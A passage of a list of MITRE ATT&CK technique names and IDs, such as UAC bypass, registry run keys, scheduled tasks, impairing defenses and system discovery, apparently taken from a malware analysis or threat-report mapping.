Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Screensaver

T1546.002

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery